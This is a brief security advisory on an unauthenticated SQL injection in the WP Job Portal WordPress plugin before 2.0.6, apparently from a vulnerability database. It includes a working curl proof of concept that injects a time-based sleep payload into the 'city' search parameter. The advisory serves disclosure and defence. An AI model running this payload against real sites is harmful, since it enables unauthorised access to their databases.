WP Job Portal < 2.0.6 - Unauthenticated SQLi

2023-08-3000:00:00

Pablo Sanchez

wp job portal

unauthenticated

sqli

security vulnerability

exploit

0.001 Low

EPSS

Percentile

51.2%

JSON

Description The plugin does not sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users

Setup (as admin): Create a dummy company and a job (if there are none)

Attack (as unauthenticated):
time curl -X POST --data 'jobtitle=a&city=(select*from(select(sleep(10)))a)&wpjobportallay=jobs&WPJOBPORTAL_form_search=WPJOBPORTAL_SEARCH' https://example.com/wp-job-portal-jobseeker-controlpanel/jobs/

and notice the 10s delay of the response

0.001 Low

EPSS

Percentile

51.2%

JSON

Related for WPEX-ID:986024F0-3C8D-44D8-A9C9-1DD284D7DB0D